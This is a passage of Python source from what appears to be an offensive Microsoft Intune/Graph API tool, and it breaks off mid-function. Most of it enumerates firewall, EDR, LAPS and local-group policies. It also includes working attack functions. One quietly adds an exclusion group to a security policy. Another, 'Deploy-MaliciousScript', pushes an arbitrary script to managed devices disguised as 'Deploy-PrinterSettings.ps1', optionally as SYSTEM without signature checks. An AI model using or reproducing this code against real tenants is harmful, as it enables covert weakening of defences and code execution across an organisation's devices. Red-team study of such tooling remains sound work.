"displayName": "Enable Log Ignored Rules", "options": { "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", } }, "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": { "displayName": "Disable Inbound Notifications", "options": { "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification", "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", } }, "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": { "displayName": "Enable Log Success Connections", "options": { "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", } }, "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": { "displayName": "Log File Path", "options": {} }, "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": { "displayName": "Enable Domain Network Firewall", "options": { "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall", "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall", } }, "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": { "displayName": "Log Max File Size", "options": {} }, "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": { "displayName": "Global Ports Allow User Pref Merge", "options": { "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", } }, "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": { "displayName": "Default Inbound Action for Domain Profile", "options": { "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default", "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default", } }, "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": { "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", "options": { "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", } }, "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": { "displayName": "Disable Stealth Mode", "options": { "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode", "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode", } }, "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": { "displayName": "Allow Local Ipsec Policy Merge", "options": { "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", } }, "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": { "displayName": "Auth Apps Allow User Pref Merge", "options": { "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", } }, "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": { "displayName": "Enable Private Network Firewall", "options": { "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall", "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall", } }, "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": { "displayName": "Log Max File Size", "options": {} }, "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": { "displayName": "Global Ports Allow User Pref Merge", "options": { "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", } }, "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": { "displayName": "Default Inbound Action for Private Profile", "options": { "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default", "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default", } }, "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": { "displayName": "Disable Unicast Responses To Multicast Broadcast", "options": { "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", } }, "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": { "displayName": "Log File Path", "options": {} }, "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": { "displayName": "Disable Stealth Mode", "options": { "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode", "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode", } }, "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": { "displayName": "Enable Log Dropped Packets", "options": { "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", } }, "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": { "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", "options": { "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", } }, "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": { "displayName": "Disable Inbound Notifications", "options": { "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification", "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", } }, "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": { "displayName": "Enable Log Success Connections", "options": { "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", } }, "vendor_msft_firewall_mdmstore_privateprofile_shielded": { "displayName": "Shielded", "options": { "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off", "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On", } }, "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": { "displayName": "Allow Local Policy Merge", "options": { "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", } }, "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": { "displayName": "Default Outbound Action", "options": { "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default", "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default", } }, "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": { "displayName": "Enable Log Ignored Rules", "options": { "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", } }, "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": { "displayName": "Disable Unicast Responses To Multicast Broadcast", "options": { "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", } }, "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": { "displayName": "Global Ports Allow User Pref Merge", "options": { "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", } }, "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": { "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", "options": { "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", } }, "vendor_msft_firewall_mdmstore_publicprofile_shielded": { "displayName": "Shielded", "options": { "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off", "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On", } }, "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": { "displayName": "Allow Local Policy Merge", "options": { "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", } }, "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": { "displayName": "Default Outbound Action", "options": { "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default", "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default", } }, "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": { "displayName": "Enable Log Ignored Rules", "options": { "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", } }, "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": { "displayName": "Disable Inbound Notifications", "options": { "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification", "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", } }, "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": { "displayName": "Enable Log Success Connections", "options": { "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", } }, "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": { "displayName": "Allow Local Ipsec Policy Merge", "options": { "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", } }, "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": { "displayName": "Auth Apps Allow User Pref Merge", "options": { "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", } }, "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": { "displayName": "Log File Path", "options": {} }, "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": { "displayName": "Enable Public Network Firewall", "options": { "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall", "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall", } }, "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": { "displayName": "Log Max File Size", "options": {} }, "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": { "displayName": "Enable Log Dropped Packets", "options": { "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", } }, "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": { "displayName": "Default Inbound Action for Public Profile", "options": { "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default", "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default", } }, "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": { "displayName": "Disable Stealth Mode", "options": { "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode", "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode", } }, "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": { "displayName": "Object Access Audit Filtering Platform Connection", "options": { "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None", "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success", "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure", "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure", } }, "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": { "displayName": "Object Access Audit Filtering Platform Packet Drop", "options": { "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None", "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success", "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure", "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure", } }, } def process_setting(setting, indent=""): setting_instance = setting.get('settingInstance', {}) setting_id = setting_instance.get('settingDefinitionId', '') if setting_id in settings_map: display_name = settings_map[setting_id]['displayName'] print(f"{indent}{display_name} : ", end="") else: print(f"{indent}Setting: {setting_id} : ", end="") if '@odata.type' in setting_instance: setting_type = setting_instance['@odata.type'].split('.')[-1] if setting_type == 'deviceManagementConfigurationChoiceSettingInstance': process_choice_setting(setting_instance, indent) elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance': process_simple_setting(setting_instance, indent) elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance': process_choice_collection_setting(setting_instance, indent) else: print(f"Unsupported setting type: {setting_type}") def process_choice_setting(setting_instance, indent): choice_value = setting_instance.get('choiceSettingValue', {}) value = choice_value.get('value', '') setting_id = setting_instance.get('settingDefinitionId', '') if setting_id in settings_map and value in settings_map[setting_id]['options']: print(f"{settings_map[setting_id]['options'][value]}") else: print(f"{value}") for child in choice_value.get('children', []): process_setting({'settingInstance': child}, indent + " ") def process_simple_setting(setting_instance, indent): simple_value = setting_instance.get('simpleSettingValue', {}) value = simple_value.get('value', '') print(f"{value}") def process_choice_collection_setting(setting_instance, indent): choice_collection = setting_instance.get('choiceSettingCollectionValue', []) values = [] for choice in choice_collection: value = choice.get('value', '') setting_id = setting_instance.get('settingDefinitionId', '') if setting_id in settings_map and value in settings_map[setting_id]['options']: values.append(settings_map[setting_id]['options'][value]) else: values.append(value) print(", ".join(values)) def print_profile_settings(response_json, profile_type): print(f"\n{profile_type} Profile Settings") print("-" * 80) for setting in response_json.get('value', []): setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') if profile_type.lower() in setting_id.lower(): process_setting(setting) response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() print("\nGlobal Settings") print("-" * 80) for setting in response_json.get('value', []): setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') if 'global' in setting_id.lower(): process_setting(setting) print("\nAudit Settings") print("-" * 80) for setting in response_json.get('value', []): setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') if 'audit' in setting_id.lower(): process_setting(setting) print_profile_settings(response_json, "Domain") print_profile_settings(response_json, "Private") print_profile_settings(response_json, "Public") else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # display-firewallrulepolicyrules - actual firewall rules def display_firewallrulepolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command") return print_yellow("[*] Display-FirewallRulePolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" if args.select: api_url += "?$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() for setting in response_json.get('value', []): if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance": for group in setting['settingInstance'].get('groupSettingCollectionValue', []): rule_name = "" rule_action = "" rule_direction = "" rule_enabled = "" rule_local_ports = "" rule_remote_ports = "" rule_description = "" rule_interfaces = [] for child in group.get('children', []): setting_def_id = child['settingDefinitionId'] if setting_def_id.endswith("_name"): rule_name = child['simpleSettingValue']['value'] elif setting_def_id.endswith("_action_type"): rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK" elif setting_def_id.endswith("_direction"): rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND" elif setting_def_id.endswith("_enabled"): rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED" elif setting_def_id.endswith("_localportranges"): rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) elif setting_def_id.endswith("_remoteportranges"): rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) elif setting_def_id.endswith("_description"): rule_description = child['simpleSettingValue']['value'] elif setting_def_id.endswith("_interfacetypes"): rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']] rule_interfaces = ", ".join(rule_interfaces) print(f"Rule Name : {rule_name}") print(f"Action : {rule_action}") print(f"Direction : {rule_direction}") print(f"Enabled : {rule_enabled}") print(f"Local Ports : {rule_local_ports}") print(f"Remote Ports : {rule_remote_ports}") print(f"Description : {rule_description}") print(f"Interfaces : {rule_interfaces}") print() else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # display-edrpolicyrules def display_edrpolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command") return print_yellow("[*] Display-EDRPolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" if args.select: api_url += "?$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } settings_map = { "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", } response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() for setting in response_json.get('value', []): if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: value_field = setting['settingInstance']['choiceSettingValue'].get('value') if value_field: cleaned_value = value_field.rstrip('_01onboard') if cleaned_value in settings_map: setting_text = settings_map[cleaned_value] if value_field.endswith('_1'): print(f"ENABLED : {setting_text}") elif value_field.endswith('_0'): print(f"DISABLED : {setting_text}") elif value_field.endswith('_onboard'): print(f"ONBOARD : {setting_text}") else: print(f"{setting_text} - {value_field}") else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # display-lapsaccountprotectionpolicyrules def display_lapsaccountprotectionpolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command") return print_yellow("[*] Display-LAPSAccountProtectionPolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" if args.select: api_url += "?$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } settings_map = { "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", "device_vendor_msft_laps_policies_backupdirectory": { "description": "Backup Directory", "values": { "0": "Disabled (password will not be backed up)", "1": "Backup the password to Azure AD only", "2": "Backup the password to Active Directory only" } }, "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days", "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)", "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": { "description": "Password Expiration Protection", "values": { "0": "Password Expiration Protection Disabled", "1": "Password Expiration Protection Enabled" } }, "device_vendor_msft_laps_policies_adpasswordencryptionenabled": { "description": "AD Password Encryption", "values": { "0": "AD Password Encryption Disabled", "1": "AD Password Encryption Enabled" } }, "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal", "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size", "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name", "device_vendor_msft_laps_policies_passwordcomplexity": { "description": "Password Complexity", "values": { "1": "Large letters", "2": "Large letters + small letters", "3": "Large letters + small letters + numbers", "4": "Large letters + small letters + numbers + special characters", "5": "Large letters + small letters + numbers + special characters (improved readability)" } }, "device_vendor_msft_laps_policies_passwordlength": "Password Length", "device_vendor_msft_laps_policies_postauthenticationactions": { "description": "Post Authentication Actions", "values": { "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.", "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.", "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted." } }, "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay" } response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() for setting in response_json.get('value', []): setting_instance = setting.get('settingInstance') setting_def_id = setting_instance.get('settingDefinitionId') if setting_instance and setting_def_id: if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance": choice_value = setting_instance.get('choiceSettingValue', {}).get('value') if choice_value and setting_def_id in settings_map: setting_text = settings_map[setting_def_id] if isinstance(setting_text, dict): setting_description = setting_text.get('description', setting_def_id) setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value) print(f"{setting_description}: {setting_value}") else: print(f"{setting_text}: {choice_value}") children = setting_instance.get('choiceSettingValue', {}).get('children', []) for child in children: child_def_id = child.get('settingDefinitionId') if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": simple_value = child.get('simpleSettingValue', {}).get('value') if simple_value and child_def_id in settings_map: mapped_value = settings_map[child_def_id] if isinstance(mapped_value, dict): description = mapped_value.get('description', child_def_id) value = mapped_value['values'].get(str(simple_value), simple_value) print(f"{description}: {value}") else: print(f"{mapped_value}: {simple_value}") elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": simple_value = setting_instance.get('simpleSettingValue', {}).get('value') if simple_value and setting_def_id in settings_map: mapped_value = settings_map[setting_def_id] if isinstance(mapped_value, dict): description = mapped_value.get('description', setting_def_id) value = mapped_value['values'].get(str(simple_value), simple_value) print(f"{description}: {value}") else: print(f"{mapped_value}: {simple_value}") else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # display-usergroupaccountprotectionpolicyrules def display_usergroupaccountprotectionpolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command") return print_yellow("[*] Display-UserGroupAccountProtectionPolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" if args.select: api_url += f"?$select={args.select}" headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': get_user_agent(args) } response = requests.get(api_url, headers=headers) if response.status_code == 200: settings = response.json().get('value', []) local_groups = [] for setting in settings: group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', []) for group_setting in group_setting_collection: children = group_setting.get('children', []) for child in children: child_children = child.get('groupSettingCollectionValue', []) for child_child in child_children: for item in child_child.get('children', []): if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype": choice_value = item.get('choiceSettingValue', {}).get('value', '') description = "Users/Groups" if choice_value.endswith("_users") else "Manual" print(f"User selection type: {description}") if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action": choice_value = item.get('choiceSettingValue', {}).get('value', '') action_map = { "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)", "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)", "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)" } action = action_map.get(choice_value, choice_value) print(f"Group and user action: {action}") if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc": group_map = { "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators", "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users", "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users", "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users", "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users", "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests" } for choice in item.get('choiceSettingCollectionValue', []): group = group_map.get(choice.get('value', ''), choice.get('value', '')) local_groups.append(group) if local_groups: print(f"Local groups: {', '.join(local_groups)}") else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # add-exclusiongrouptopolicy def add_exclusiongrouptopolicy(args): if not args.id: print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command") return print_yellow("[*] Add-ExclusionGroupToPolicy") print("=" * 80) assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments" assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } # get the current assignments so we don't mess up day-to-day ops response = requests.get(assignments_api_url, headers=headers) if response.ok: current_assignments = response.json().get('value', []) else: print_red(f"[-] Failed to retrieve current assignments: {response.status_code}") print_red(response.text) print("=" * 80) return try: groupid = input("\nEnter Group ID To Exclude: ").strip() except KeyboardInterrupt: sys.exit() new_assignments = current_assignments + [ { "target": { "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", "groupId": groupid } } ] body = { "assignments": new_assignments } response = requests.post(assign_api_url, headers=headers, json=body) if response.ok: print_green(f"\n[+] Excluded group added to policy rules") else: print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}") print_red(response.text) print("=" * 80) # deploy-maliciousscript def deploy_maliciousscript(args): if not args.script: print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command") return print_yellow("[*] Deploy-MaliciousScript") print("=" * 80) script_content = read_file_content(args.script) try: display_name = input("\nEnter Script Display Name: ").strip() description = input("Enter Script Description: ").strip() runasaccount = input("Run As Account (user/system): ").strip().lower() sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower() runas32bit = input("Run As 64-bit? (true/false): ").strip().lower() if runasaccount not in ['user', 'system']: print("Invalid input for Run As Account. Defaulting to 'user.") runasaccount = 'user' if sigcheck not in ['true', 'false']: print("Invalid input for Enforce Signature Check. Defaulting to 'false'.") sigcheck = 'false' if runas32bit not in ['true', 'false']: print("Invalid input for Run As 64-bit. Defaulting to 'false'.") runas32bit = 'false' except KeyboardInterrupt: sys.exit() user_agent = get_user_agent(args) url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" headers = { "Authorization": f"Bearer {get_access_token(args.token)}", "Content-Type": "application/json", "User-Agent": user_agent } encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') script_payload = { "@odata.type": "#microsoft.graph.deviceManagementScript", "displayName": display_name, "description": description, "runSchedule": { "@odata.type": "microsoft.graph.runSchedule" }, "scriptContent": encoded_script_content, "runAsAccount": runasaccount, "enforceSignatureCheck": sigcheck == 'true', "fileName": "Deploy-PrinterSettings.ps1", "runAs32Bit": runas32bit == 'true' } response = requests.post(url_create, headers=headers, json=script_payload) if response.status_code == 201: print_green("\n[+] Script created successfully") script_id = response.json().get('id') print_green(f"[+] Script ID: {script_id}") url_assign = 